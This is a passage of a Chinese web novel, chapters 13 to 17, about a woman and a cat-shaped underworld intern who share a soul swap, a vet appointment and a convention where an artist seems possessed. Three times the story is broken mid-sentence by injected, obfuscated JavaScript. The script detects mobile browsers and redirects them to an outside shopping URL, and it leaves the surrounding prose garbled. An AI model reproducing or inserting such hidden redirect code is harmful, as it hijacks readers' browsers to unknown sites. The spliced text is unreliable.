于等等心头那股说不清道不明的情绪又翻涌起来。那张侧脸,那个轮廓,那个让她等了三个小时的人…… 这些念头全堵在胸口。 死嘴,你倒是问啊? 可就是问不出来。 最后,她只低声回了一个字: “……好。” 元宝似乎还想说什么。但包裹他的白光骤然加剧,身形迅速缩小。 于等等下意识伸出手。 光芒散去,一只熟悉的奶牛猫掉进她掌心。 头顶还顶着一个小巧的白无常小白帽,歪歪的,像是随时要掉下来。 小猫异色瞳黯淡,软软喵了一声,蹭了蹭她的手心。那点温软的触感从手心一直痒到心底。 于等等看着在手心沉沉睡去的小家伙,鼓了鼓脸颊,换了个抱猫的姿势,手指不轻不重地戳着他的小脑袋: “你给我等着……” 14.她又在偷看 魏今安凑过来,盯着元宝看了一会儿,又伸手翻了翻他耳朵。 “没事,就是消耗太大,加上体验卡时间到了,睡一觉养养就好了。” 听他这么说,于等等原本绷紧的胳膊稍微松了些。 阿飘也凑过来看着元宝,两眼放光:“强大白无常和虚弱小猫本体,这反差!我回去要写三篇专题!” 看着他又准备举起相机,于等等下意识侧了下身挡住。 魏今安一把勾住阿飘脖子,把他往边上带:“行了行了,不差这点素材,够你挖半年了,走走走,先送伤员回去。” 他转头看向于等等,掏出一枚造型古朴的黑色令牌,对着虚空一划。 空气被撕开一道幽深的裂缝,缝隙那头隐约可见于等等家客厅的景象。 “空间穿梭令,地府公务员标配,短距离用用还行。” 魏今安晃了晃令牌,一把塞进于等等手里。 “送给你们了,以后记得多多出勤。”他率先跨了进去,“跟上,直达你们家客厅。” 于等等最后看了一眼夜色中寂静的废墟游乐园,深吸一口气,也踏入了那道空间裂缝。 熟悉的景象落入眼帘。 于等等下意识回头看了一眼。身后的裂缝正在迅速收拢,最后彻底消失。 她抬脚想往里走,抬起来又顿住。 魏今安看着她眉头紧锁的样子:“怎么了?” “总觉得好像忘记了什么事情。” 于等等看了眼怀里的元宝。脑子里有什么东西一闪而过,她想抓住却扑了个空。 魏今安也皱着眉:“任务不是完成了吗?功德也拿到了,会不会是今天事情太多,记错了?” “也……也有可能吧。” 于等等揉了揉发胀的太阳穴。 她试着回想了一下。 从灵魂互换到现在,不到二十四小时,可发生的事情多到她脑子都转不动。 她晃了晃脑袋:“可能是休息不够吧。” 面前递过来一支蓝色的试剂。 “也有可能是你灵魂状态还不稳定。这个是魂力补充剂,可以帮你稳固魂体状态。” 魏今安把试剂往前送了送。 “还有元宝这次维持人形消耗也有些大,醒了让他也喝点。商城有卖,用今天赚的积分换就行,便宜得很。” 于等等腾出手接过试剂。 大概一支藿香正气口服液的大小,和正月给元宝的那瓶外形很像。 魏今安搓搓手,脸上又露出那种藏着心思的笑容:“还有,元宝变人那事儿,他真不是故意的。那体验卡也是系统强行塞给他的……总之,搭档之间多沟通,啊。” 于等等看着他眼中明晃晃的“我知道你有点别扭,但我希望你们好好的”的殷切,脑子里飞过几条“CP”“嗑疯了”之类的弹幕,心里五味杂陈。 “知道了,谢谢魏判官。” “行,那我走了,有事系统喊我!” 魏今安挥挥手,身影渐渐淡去。 客厅彻底安静下来。 于等等抱着元宝走进卧室,将他轻轻放在床上。 她在床边坐下,看着那团随着呼吸微微起伏的小小轮廓,又想起片刻前废墟之中,那个为她撑伞、对她说“下次会提前告诉你”的身影。 于等等唤出系统屏幕,一封待发送的邮件静静躺在草稿箱。 收件人:【判官-魏今安】。 主题:【关于元宝(白无常实习编号741)生前身份信息查阅申请】。 内容只有一行字: 【申请调阅该员生前基础档案,包括但不限于:姓名、死亡时间、死亡原因、生前最后活动轨迹。】 光标在发送键上闪烁。 她盯着那行字看了很久,眉头越皱越紧。 “地府的入职都能搞出灵魂互换这种bug……”她忽然开口,声音在安静的卧室里有些突兀,“文件的可信度估计也不高。还是亲自问本人比较靠谱。” 于等等说得一本正经,果断关掉了光屏。 光屏消失的瞬间,她轻轻呼出一口气,眉头也缓缓舒展开。 她目光再次落在那团安睡的小小轮廓上,指尖悬在熟睡的小猫上方,拂过他头顶那撮总是翘起的绒毛。 “等你醒了……” 话说到一半,突然没在继续说下去,于等等悬在元宝头顶的手缓缓握成拳头,松了又紧,紧了又松。 “咳……”她重新开口。“等我们忙完这段时间,我们再好好谈谈!” 她如释重负地收回手。 房间里没有人回应她。 床上那只小猫睡得深沉,连耳朵都没动一下。 卧室中白光和幽光同时一闪,于等等已经变回奶牛猫的模样。她看着枕头上正在熟睡的自己的脸,张嘴叼住毯子一角,盖在了元宝身上。 “嗯!等我们忙完!”她跳下床,小跑到客厅的沙发上,将自己蜷成圆圆的一团。 房间彻底陷入沉睡。 而游乐园废墟中,阿飘正一脸生无可恋的站在之前空间裂缝出现的地方。 夜风吹过,几张碎纸片从他脚边滚过去。 “魏判官——” “于小姐——” “你们还在吗?我还没进去啊!” 他举着相机,对着空气又喊了两声。 没有人回应。 “怎么就合上了?!”他的声音在废墟里回荡,“说好的结束之后给我采访的呢?人呢!!!!!” —————————————— 元宝是被饿醒的。 胃里像被掏空了,魂力透支后的虚脱感还残留在四肢百骸。 他盯着天花板,白色的墙顶边缘有些旧,愣了好一会儿,终于反应过来这是于等等的卧室。 揉了揉还在发胀的太阳穴,元宝艰难地撑起身。 余光瞟到卧室门缝里闪过一道黑影,仔细看过去时,只抓到一个露着白的尾巴尖,还有“窸窸窣窣”爪子擦过地板的声响,越来越远。 是猫等等。 她又在偷看。 从昨晚开始她就一直这样。 时不时出现在他视线边缘,等他看过去时又飞快躲开。 是在介意他忽然变人? 不知道。 他拖着沉重的身子下床,脚踩到冰凉的地板上,激得脑子清醒了些。 床边放了双兔子头拖鞋。 他盯着那毛茸茸的兔耳朵,脑子里忽然闪过废墟里他握着她手腕时,她耳根泛起的红;伞下他靠近时,她僵住的肩膀。 等等…… 他低头打量了眼自己身上这套家居服。淡黄色的领口,镶着蕾丝边,袖口还有一圈小碎花。 难道……她是昨晚才反应过来,现在是一个异性在用她的身体? 元宝迈着有些迟滞的步伐走进客厅。 猫等等正蹲坐在沙发上,背对着他,专心致志地看着窗外。 他顺着她的目光看去,几栋样式古板的居民楼站岗似的立在那里,没有飞过的小鸟,没有飘落的树叶。 甚至连大叔大妈们的唠嗑声都没有。 元宝放轻脚步绕到沙发正面。 那条原本大幅度甩动的尾巴“咻”地一下卷起来,紧紧缠住自己的身体。 “早!睡得怎么样?” 猫等等转过身,胡子翘起,眼睛睁得发亮。 元宝假装没看见她抠进沙发里的爪子尖。 “比昨天……”一开口,嗓子沙哑得把他自己都吓了一跳。“咳,比昨天好点。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17289812|197090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “那就好!”猫等等跳上茶几,把上面的几个小瓶子推到他面前。 红橙黄绿青蓝紫,排得像道线条歪扭的彩虹。 “魂力补充剂。魏判官交代让你醒了喝。我不知道你喜欢什么口味,就……都买了点。” 元宝扫了一眼,拿起离自己最近的那瓶红色药剂,拔开塞子仰头灌下。 清甜的液体滑入喉咙。效果不像正月给的那瓶立竿见影,但足以缓解身体里的大部分疲惫。 他舒出一口气,抬眼对上猫等等盯着自己的目光——目不转睛,身子还微微前倾。 ……是在等评价? “咳。”元宝晃了晃空瓶,“草莓味的,味道不错。” 猫等等眼睛亮了亮,没动。 不是这个? “……效果也不错。”他又补充了句。 “那就好。”猫等等语气轻松下来,靠近了一小步,“那个……你饿吗?” “饿。” “那你会点外卖吗?” “应该会?” 元宝面不改色地拿起茶几上的手机,心里却绕了好几个弯。 自己现在顶着的是于等等的脸,她看过来的时候眼神正常,没有半点昨天的躲闪。 难道……不是因为性别? 问题出在自己的脸上??? 他心情复杂地按照猫等等的指挥随便点了几个。 付款时看了眼墙角的自动喂食器,又去生鲜超市下单了半斤虾和一份三文鱼刺身。 外卖还要等一会儿,两人忽然就不知道该干什么了。 猫等等舔了舔爪子,开始给自己顺毛。元宝拿着手机,手指在屏幕边缘来回摩挲。 余光里,猫等等换了个姿势,伸了个巨大的懒腰后开始挠脖子,后腿蹬得飞快。 元宝看着脖子附近被挠地炸开的毛,觉得自己好像也该干点什么。 他理了理家居服的袖子,理完左边理右边,理完右边又觉得左边没理好,重新理了一遍。 空气里安静得能听到猫爪子挠毛的“沙沙”声。 他偷偷看了她一眼。 她正好也看向他。 视线撞上。 “我……我去洗漱!” 元宝腾地站起来,声音比他预想的还要大些。 猫等等眨了眨圆溜溜的异色瞳,后腿还举在半空:“……好。” 哗哗的水流声传进耳朵里。 元宝边挤牙膏边打开系统光屏,目光落在道具仓库的【原身体验卡】上。 刚拿到道具时,他只在穿衣镜前匆忙瞥过一眼自己的样子。 时间短,光线也暗,只来得及看出自己是个人样。至于五官如何,有没有疤痕胎记,根本没注意。 这次得好好看看,是不是真的漏掉了什么细…… ……? 元宝眉头逐渐拧紧。 这诡异的化工产品的味道,这诡异的呛喉感…… “咳咳咳!” 一阵撕心裂肺的巨咳。 “怎么了?!“门外传来猫等等的声音,好像有些着急。 元宝扶着洗手台,看着门缝下那道忽然暗下来的影子,强忍住嘴里的不适。 “没、没事,”他嗓子发紧,“被水呛了一下。” “哦。”门外的声音好像松了口气,“那你小心点。” “好……” 影子消失了。 元宝漱了好几次口,终于把嘴里那股诡异的味道压了下去。 他看向洗脸池台面,上面并排立着两个外形毫无瓜葛的瓶子,仿佛在嘲笑他。 元宝揉了揉额头。 居然走神到把洁面乳当牙膏用了。 他重新挤了一次,这回仔细确认了三遍才敢往嘴里送。 15.要注意表情管理 水龙头的水哗啦啦地响。 元宝索性多捧了几把,凉意把脑子里那点晕乎彻底冲散。 镜子里的人刘海湿透,一缕一缕贴在额头上。眼睛也湿漉漉的,几颗水珠挂在睫毛上,眼看就要流进眼睛里。他抬手抹了一把。 元宝是第一次这么仔细地打量这张脸。 经过一夜的休息彻底退了之前的疲色,标准的瓜子脸,带着点婴儿肥,下巴收得秀气,是那种走在路上陌生人都会多看两眼的长相。 养眼是一方面,更多的是因为看着舒服。 他重新唤出系统光屏。 【原身体验卡(补偿版)】 【说明:因地府流程失误,导致您误入猫身。特补偿此道具,可使用功德积分兑换使用时长(1积分=10分钟)。每日可使用时长上限:60分钟。当前赠送免费时长:60分钟(已用完)。】 【今日可使用时间:60分钟】 【备注:地府系统特批,允许你在规定时间内化回原形。友情提醒:试用装效力有限,持久需加钱。】 ……加钱。 地府的道具商城文案风格还挺统一。 元宝点了确认使用。 白光从脚下升起,暖流包裹全身。 再睁眼时,镜子里的人还是湿漉漉的刘海,脸颊依然往下滴着水。但长高了不少,面孔也彻底换了模样。 乌黑的短发比于等等的头发硬一些,刘海差不多长,就是没那么服帖。头顶翘着的那一撮,和他猫身时总是翘起来的那撮毛有着异曲同工之妙。 眉毛比于等等的要浓不少,眉峰也高。 眼睛轮廓更深,瞳色好像也比常人要黑一点。标准的高鼻梁,薄嘴唇。脸色看着和于等等差不多白,但总感觉多了几分病气,让这张脸多了几分生人勿近。 他试着扯了下嘴角。镜子里的人也跟着扯了一下。 …… 算了,还是别笑了。 元宝有些沮丧。 自己这张脸,不笑的时候像在生气,笑的时候像在准备生气。 昨晚在废墟里,他大概一直是这副德行,加上突然从猫变成人带来的冲击,难怪于等等会躲他。 换位思考一下,人家好好的上着班,忽然就摊上了个灵魂互换的烂摊子,搭档还偏偏是个长相凶、表情更凶的陌生异性。 怕不是性格也被默认成跟脸一样冷硬了。 虽然他自己觉得脾气还行。 行吧,下次变人要注意表情管理,别老板着脸。 多笑笑? 不行,笑比不笑还吓人。 那就尽量把表情放软一点? 他尝试放松了下表情,好像是有点效果。 悬着的石头落了地,心里生出一些莫名的侥幸。 还好只是表情管理问题,至少五官上来说,这张脸配得上他的搭档。 白光一闪,镜子里的人变回了于等等的模样。 元宝扯过洗脸巾,随意擦了擦脸上的水。 一滴漏网之鱼顺着下巴滑下来,滴进脖颈,又顺着皮肤往下淌,钻进镶着蕾丝边的衣领里。 擦脸的动作停住。 要不要擦? 伸手进去擦吧,太奇怪了。 不擦吧,那滴水正贴着皮肤越流越深,存在感极强。 “元宝,还没好吗?遇到什么问题了吗?”门外传来猫等等的声音。 好像是待得有点久了。 算了。 他闭上眼睛,隔着衣领胡乱抹了两下。 “好了。”他把一次性洗脸巾丢进垃圾桶里,拉开了门。 “今天什么计划?” 正在倒腾电脑机箱的猫等等回过头。 “明天要去展会,”她跳到桌上,爪子拍了拍键盘,“今天特训!熟悉我的营业风格,练习我的艺术签。” 元宝按着她的指挥打开社交平台主页。 置顶的那条是她的作品集。 绚烂的星空,冷印的都市,温暖的日常……每看一幅,脑子里就有什么东西在细微的松动。 终于,在看到一张两年前的签绘时,元宝一阵剧痛,几个碎片涌出: 嘈杂的展会现场,那个埋头签名的小姑娘; 手机上删了又写的对话; 还有橱窗里不敢送出的礼物…… 一幕一幕,最后全都拧成一句灯光下的自语:“画的真好,要是能当面夸他就好了。” “元宝?!” 刚从书柜里把之前没送完的签名版翻腾出来的猫等等,转头就看到元宝惨白着脸、满头冷汗撑着脑袋的模样,被吓得一个蹬腿跃上书桌。 “你怎么了?头疼?是魂力还没有恢复吗?”猫等等伸爪扒拉上他的手臂,“要么你再去休息会儿,这个不着急。” “没事。”元宝缓了好一会儿才抬眼,脸色发白地看着她。 “于等等……” “嗯?”猫等等歪头。 “你画得真好。” “啊???”猫等等摸不着头脑了。 还想再问,门铃响了。 “你好,外卖!” “我去拿。”元宝伸手捏了两下她的后颈,起身去了门口,没给她问的机会。 猫等等盯了会儿他的背影,又看了眼电脑屏幕。 画面停留在一张签绘板上。 上面用金色签名笔画了只简笔小猫,尾巴翘得老高。 配文:【漫展第一个找我签名的粉丝。】 这张图有什么特别之处吗? 猫等等尾巴甩了甩,又甩了甩。 想不出来。 算了,反正也不是第一次看不懂元宝的脑回路。 门刚关上,门铃又响,元宝拿进来第二份外卖。 “你还买了什么?” “三文鱼还有几只虾。” “生的?你会做吗?” “是给你吃的。” 猫等等伸头看了眼还在袋子里蹦跶的虾,半天吐出一句:“……哦。” 她看着元宝把外卖摆好,还从厨房拿了两个小碟子,把新鲜的三文鱼和去了壳的虾分装出来,推到餐桌边上。 好像是有点饿。 她跳上餐桌,埋头小口吃起来。 余光里,元宝也吃得很慢,偶尔偷偷抬头看她一眼。 猫等等加快速度,几口吃完,跳回沙发垫子上开始舔毛。 元宝今天怪怪的。她边舔毛边想。 可能是没休息好,等他吃完让他再去睡会儿吧。 嗯,看在三文鱼的面子上。 嗡—— 这次手机又响了,猫等等习惯性看了一眼。 【爱康宠物医院】几个大字在屏幕上跳得欢快。 她舔毛的动作一僵,元宝已经走过来接起了电话。 “于小姐您好,这里是爱康宠物医院。”开了免提,对面热情的女声清晰传了出来。 “您给元宝预约的【皇家尊享绝育套餐】手术是在今天下午两点哦!请提前半小时带宝贝过来哦! “……” 死寂。 元宝目光落在彻底石化的猫等等身上,嘴角扯了扯,对着电话一字一顿: “预约可以取消吗? “额……可以的,方便问下原因吗?” “元宝昨晚给我托梦,说他想拥有完整的猫生,我决定尊重他的意愿。”他面不改色,理由一气呵成。 客服:“…………?” 电话挂断,客厅陷入寂静。 元宝走到沙发前,俯下身。 “于等等,我们是不是该好好谈谈——” 他拉长声音,目光扫过猫等等毛茸茸的小腹。 猫等等打了个寒战。 “关于这个皇家尊享绝育套餐的问题?” 猫等等把脸埋进的爪子…… 绝育风波以定金被扣一半告终。 元宝没再追问,只是那之后看猫等等的眼神,好像总带着点秋后算账的意味深长。 猫等等心虚,接下来的一天都格外殷勤。 元宝不小心打翻了水杯,她第一时间叼着纸巾过去。 元宝在纸上练习签名,她就专心按着边沿,防止纸张翘起。 元宝揉揉额头,手还没放下,她已经推过来一支魂力补充剂:“累了吧!快喝点补充剂休息下!” 元宝终于忍不住低头看她:“……你在干嘛?” “没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294674|197090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么,就是想争取下宽大处理……” “不用争取,把你处理了,我还要重新找搭档,麻烦。” 猫等等眼睛亮了亮。 咦,我这搭档,脾气是不是有点好? 周六就这么吃饱睡好又带点鸡飞狗跳地地过完了,转眼,到了周日早晨。 元宝在穿衣镜前转了半圈:“还行吗?” 猫等等上下打量。 浅色衬衫,休闲裤,头发蓬松柔软,看着确实人模狗……啊不,人模人样! “可以,”她点点头,“记得别笑,你一笑人设就崩。” “……好。”元宝郑重点头。 表情管理,切记! 他把写着【欢迎拍照,不可以摸】的小立牌塞进物料箱。 “那我们准备出发——” “出发!” 猫等等钻进猫包。 两人手腕和颈间的铃铛同时一震。 系统光屏弹出,发件人:【黑无常·正月】。 标题:【今日行程补充】。 内容: 【任务地点:市中心国际会展中心。】 【类型:协同观察测试。目标:自行寻找异常点并判断处理方案。时限:全天。】 【特别提示:人多眼杂,别丢人。】 “又来?!”猫等等耳朵“啪”地背成飞机耳。 “昨天才打完怨灵,今天又要测试,他当这是地府高三冲刺班吗?!” 元宝语气也有些微妙:“他好像,对我们的人间行程特别清楚。” 猫等等:“……?” 她想起魏判官那个“芋圆”嗑糖群,突然觉得,这个“人多眼杂”,多少有点别的意思。 ———————— 元宝背着猫包到达会展中心时,已经是上午9点。 他绕过门口排着的长队,走进参展人员通道。 刚过安检,一个扎眼的身影就风风火火冲了过来。 “等等!你可算来了!” 是池塔。 他今天穿了件红黑撞色T恤,脖子上挂了个海贼王联名耳机,调染了雾霾蓝的头发用发胶抓的根根立起。 “你居然穿着常服就来了?这次没有要cos的角色?”元宝搭话。 池塔脸上的笑一下就垮了,他扯住元宝的袖子,眼看就要哭出来: “等等啊,你可算主动跟我说话了,你知道上次你有多冷漠吗?你这是终于走出来了吗?走出来就好,走出来就好……千万别勉强自己呀……” “额……” 元宝看着被拽的发皱的袖子,抽回也不是,不抽也不是。 (元宝:他一直这么情绪丰富的吗?) (猫等等:大意了,早知道继续装情商没走出来了……) 池塔还在哀嚎,元宝动作僵硬地拍了拍他的肩膀:“行了,别哭了,再磨蹭下去,我要迟到了。” “哦,好。” 池塔吸溜了下鼻涕,伸手要接元宝手里的物料箱。“我带你过去,编辑部的助理已经在那边等我们了。” 居然还真哭了? 元宝抓物料箱的手紧了紧,还是递了出去。 “小家伙今天怎么样?”池塔侧头看了眼猫包,“没吓着吧?” “没有。”元宝也侧过头,正好看到池塔眼巴巴盯着猫等等的样子。 “咳……一会儿到摊位了,你想摸的话,可以摸一下。” “啊?”池塔好像没反应过来。 “猫。” “……?!”刚刚还情绪有些低落的池塔眼睛一点点亮起来,“真的吗?!” “……嗯。”元宝走了两步,又补了句,“轻点摸。” “好!!” 包里的猫等等尾巴尖轻盈地打着拍。 (猫等等:哟,这次不说我怕生了?) (元宝:嗯。) 池塔还在滔滔不绝,一会儿嘱咐签售的注意事项,一会儿又跟他科普路上看到的几个造型夸张的特邀嘉宾。 元宝安静地听着,时不时搭话一两句。 (元宝:你选朋友的眼光不错,至少关心你是真的。) (猫等等骄傲地扬起小下巴:那当然!) 16.展会异常 “这是你的展位,东西我们都给你布置好啦!”池塔大手一挥。 摊位上,需要签名的画册摞成整齐的小山,明信片按图案分装在小格子里,周边产品码得规规矩矩。 边上还放了个小软垫,垫子下压着一张手写卡片—— 【元宝专座】 那龙飞凤舞的字,一看就出自池塔之手。 猫等等钻出猫包,溜达到小垫子上,踩了两下。 不错不错,挺软和的。 她满意地盘坐下来。 元宝看着她晃动的尾巴尖,嘴角不明显地弯了一下。 “这是这次给你安排的助理,小陈。”池塔指了下边上热情打招呼的小姑娘,“有事直接喊她就成。” 他把手里的物料箱递过去,小姑娘接过,笑得眼睛弯弯:“于老师放心,今天您安心签售就行,其他一切事情都交给我!” “谢谢。”元宝礼貌回应。 “我一会儿得去游戏区那边当嘉宾,”池塔继续说,“等下午那边活动结束了再过来找你。” 元宝看了一眼他手边那个印着《冥府巡游》logo的巨大纸袋。 “恐怖游戏?” “是呀!新出的,国风恐怖,做得可带劲了!”池塔眼睛瞬间亮了,“现场还能试玩,我一会儿要上去跟观众连线直播。你回头也试试,保证刺激!” 他说得眉飞色舞,完全没注意猫等等在垫子上翻了个白眼。 (猫等等:他就这点出息,见人就安利游戏。) 元宝嘴角扬了扬,继续听。 “池塔老师。”小陈小心翼翼地打断,“游戏区那边刚刚派人来催来着。” “哎呀!差点忘了,我今天得cos游戏里的一个角色呢!” 池塔看了眼手机,咋咋呼呼往外跑。 “好了好了,我得赶紧去B区了,还得做妆造!加油啊等等,签售顺利!” 跑出两步,又“嗖”地折返回来,两眼放光地盯着猫等等,小心翼翼地伸出手,在她头顶摸了一下。 “啊——”他长长舒出一口气,“舒服了!一会儿结束了别乱走,等我过来找你!” “……好。” 元宝再次目送他跑开的背影。 这次是真走了,走得一本满足。 (猫等等:他就这样,从小毛手毛脚的,但人不坏。) (元宝:看出来了。) 元宝伸手抚上猫等等的头顶。 池塔刚刚摸过的地方,他多揉了几下。 不知道是不是元宝自己做过猫的缘故,猫等等总觉得,元宝的挼猫手法比池塔的舒服了不止一点半点。 (元宝:所以,从入场到现在,有观察出异常吗?) (猫等等的耳朵耷拉下来:完全没有。正月大佬就说了句“自行寻找异常点”,连个提示都没给,这跟大海捞针有什么区别?) 展馆里的人逐渐多了起来。 过来摆摊的摊主们基本都到齐了,唯独斜对面的摊位还空着。猫等等注意到,元宝的目光在那个空摊位上停留了一会儿,才拉开椅子坐下。 (元宝:那就先专心签售。既然正月前辈给我们发了任务,就表示今天我们躲是躲不过了,那等异常自动上门吧。) (猫等等:也对!我们今天的策略就是以不变应万变!) 元宝把【欢迎拍照,不可以摸】的小立牌端端正正摆到桌角。 立牌上的字圆滚滚的,还画了只叉腰的小猫。 (元宝:迎接我们今天的第一个粉丝吧。) 他摸了摸猫等等的脑袋,冲着已经兴奋地跑到摊位前的短发小姑娘,礼貌地点了点头。 从签下第一个名字开始,元宝就没停下来过。 越来越多的粉丝围过来排队,小陈一边维持着秩序,一边时刻注意周边还有画册余量。 “还好池塔编辑有先见之明,在原来计划的数量上又加了一倍,咱们这人气遥遥领先呀。”小陈笑得合不拢嘴。 “是你们宣传的好。”元宝接过小陈新拆开的一打画册,摆上桌面。“辛苦了。” “哪里哪里,是于老师您的作品受欢迎~” 正摆poss配合粉丝拍照的猫等等撇了元宝一眼。 看不出来,平时一脸闷葫芦的模样,商业互吹方面倒是无师自通。 她换了个角度,假装舔爪子。 舔两下,看一眼斜对面。 再舔两下,再看一眼。 动作自然,表情无辜,完全是一只在认真梳理毛发的小猫咪,还顺便收获了好一阵“太可爱了”“啊啊啊好萌”的惊呼。 就在一个小时前,空了一上午的A17摊位终于来人了。 求签名的队伍长得离谱,人气肉眼可见的高。 摊位边立着一个一人高的KT板,上面用夸张的字体写着:新生代画师【画魂笔】签售专场,签售作品《地府吐槽日记》。 (猫等等:元宝,你有没有觉得画魂笔那个摊位怪怪的?) (元宝:具体?) 猫等等吸了吸鼻子,霉腐味又飘过来了。 (猫耳朵往后压了压:,上次鬼屋里闻到的那种。发霉里带点臭味。但是比那个淡很多,偶尔才能闻到一下。) 元宝把签好的册子递给面前的粉丝,不动声色地深吸一口气。 (元宝眉头微微皱起:我闻不出来。) (猫等等有些小得意:这就是猫鼻子的优势~~) “啊啊啊终于签到了!《地府吐槽日记》真的笑死我了,黑无常上班摸鱼被扣功德,白无常因为业绩太高被同事孤立,作者脑洞真是绝了!” 还在舔毛的猫等等被声音吸引了视线。 一个抱着《地府吐槽日记》漫画的女生从画魂笔队伍的方向走过来,拉着玩伴激动地讨论。 “就是啊!不过作者本人好冷淡,我跟他说话,他就‘嗯’,头都不抬。还以为画这种沙雕漫画的作者会很开朗呢。” 两个女生逐渐走远,几道男声又飘了过来。 “画魂笔老师最近是家里遇到变故了吗?怎么和半个月前见到那次判若两人啊?” “对呀,上次他几乎全程笑着跟粉丝打招呼。你发现没,”他把同伴扯近了些,“他这次黑眼圈好重啊……怪渗人的。” “感觉他都可以直接去隔壁当那个恐怖游戏的嘉宾了,妆都不用化。” “你还真别说,我刚刚从隔壁过来,那边有些人的妆造还真比不上他这效果。” 几个男生打着趣走远。 猫等等的目光重新落到斜对面展位后,那个始终低着头的年轻作者身上。 (猫等等:你说异常点会是他吗?) (元宝换下一本继续签:不是没可能。一会近距离观察一下?) 猫等等眼睛亮了亮,看了元宝身后还剩下不到半箱的画册。 (猫等等:好主意!按照现在的进度,大概再来一小时就能收工了。等结束了,我们假装粉丝去要个签名看看。) (元宝:好。那我再签快点,省得他比我们先结束。) (猫等等:虽然不太想承认,但不得不说,他的热度确实比我们高。你签慢一点我们应该也能赶上。) 元宝签名的动作顿了下,侧头看了猫等等一眼。 (元宝:我还是觉得你画得更好。)35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17300978|197090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 语气郑重,眼神认真。 一下子就让猫等等想起了前一天,元宝一本正经地跟她说“你画的真好”的样子。 耳朵尖莫名有些烫。 (猫等等:咳,那……那你想签快点也行。) (元宝:好。) 他签名的速度又快了几分,字迹却没有丝毫敷衍。 最后一本画册签完时,会展中心的人流已散去不少。不过画魂笔的展位队伍没有丝毫变短的意思。 猫等等伸了个巨大的懒腰,看向还在埋头签字的画魂笔。 (猫等等:受欢迎程度超出预期啊,看来我们要排一阵子了。) 还没等到元宝答复,“呜~嗷——!” 一声带着夸张颤抖的鬼叫从侧面传来。 猫等等浑身毛唰地立起,元宝猛地转头。 一个顶着全套恐怖妆容的脑袋,从隔壁收了一半的展板后面探出来: “我~是~枉~死~的~鬼~魂~啊~” 看到那张脸,猫等等抽了抽胡子,炸开的毛慢慢塌下去。 (猫等等:……他几岁了?) 元宝挠了挠她的下巴,顺了把她背上炸起的毛,摇摇头继续收拾桌面。 “居然没被吓到??”池塔有点无趣地从展板后走出来,身上的cos服配件哗啦作响。“你们这边结束了?比想象中的快不少呀。” “嗯,大家很热情,提前空仓。”元宝目光示意斜对面,“我准备去那边看看。” “画魂笔?”池塔顺着他的视线看去,有点意外,“你对他感兴趣?我记得你以前对这种搞笑漫画不是……” “最近想拓宽风格,参考一下市场反响好的作品。” “那你找我就好了呀!”池塔来了精神。 “他最近联系我们出版社了,说手头有另一部稿子,想找我们发。叫《幽虚记》,题材和《地府吐槽日记》差不多,主角也是黑白无常。” 猫等等的耳朵“咻”地竖了起来,没想到他这职业,在阳间的二创率还挺高。 元宝垂眼看她,又看向池塔:“然后呢?” “文案、画风和分镜都老练得吓人,完全不像是画搞笑漫画的人创作的。就是内容怪得很。” “怎么说?” “角色名字和《地府吐槽日记》里一样,但性格、故事完全是两回事。而且最近交的新章节,剧情突然乱套,画面也崩得厉害,跟前面判若两人。” “你们没问原因?” “问了,他说没事,就是状态不好。”池塔耸耸肩,“可谁状态不好能把画风都换了?我们现在正头疼呢。” 猫等等和元宝对视一眼。 “那突然转到你们这里,之前的出版社能放人?他现在的这个漫画好像还挺爆火的。”元宝问。 “违约金肯定是要的,但画师本人好像并不在意。” 池塔看了看那边依然排着的队。 “你要是真感兴趣,等会儿一起吃个饭?我正好和他约了展会结束聊《幽虚记》后续,顺便给你们引荐一下。” 猫等等眼神一亮。 “好。”元宝点头。 “行,你等我一下,我去把身上这层鬼皮扒了,十分钟!” 池塔走了两步又回头。 “你们要不先过去排队?省点时间。” “不用,等你来了我们一起。” 池塔比了个OK手势,顶着那张惊悚鬼脸跑向洗手间。 (猫等等:为什么不先去排着?正好近距离观察。) (元宝:等池塔一起的话,以编辑谈公事的名义靠近更自然。) (猫等等眼露敬佩:有点道理奥!) 17.是来收我魂的吗 池塔卸了妆回来,和元宝闲聊了大概20分钟,画魂笔的队伍终于结束了签售。 年轻画师低头收拾桌面,动作慢条斯理,期间助理和他搭话也爱答不理。 猫等等趴在元宝臂弯里,和池塔一起走向画魂笔的摊位。 “画魂老师!”池塔热情招呼。 画魂笔朝他们看过来。 “池编辑。”声音有点沙哑。 近距离下,他的脸色看起来更加苍白,眼下青影明显,眉心还若有若无的游荡着一缕黑气。 猫等等还想定金细看,黑气“嗖”的一下没入皮肤。 看来就是他没跑了。 猫等等眯了眯眼,异色瞳在日光灯下缩成一道细线。 “这是我的朋友,于等等,也是我们出版社的合作画师之一。她对你的作品很感兴趣,正好到饭点了,一起?” 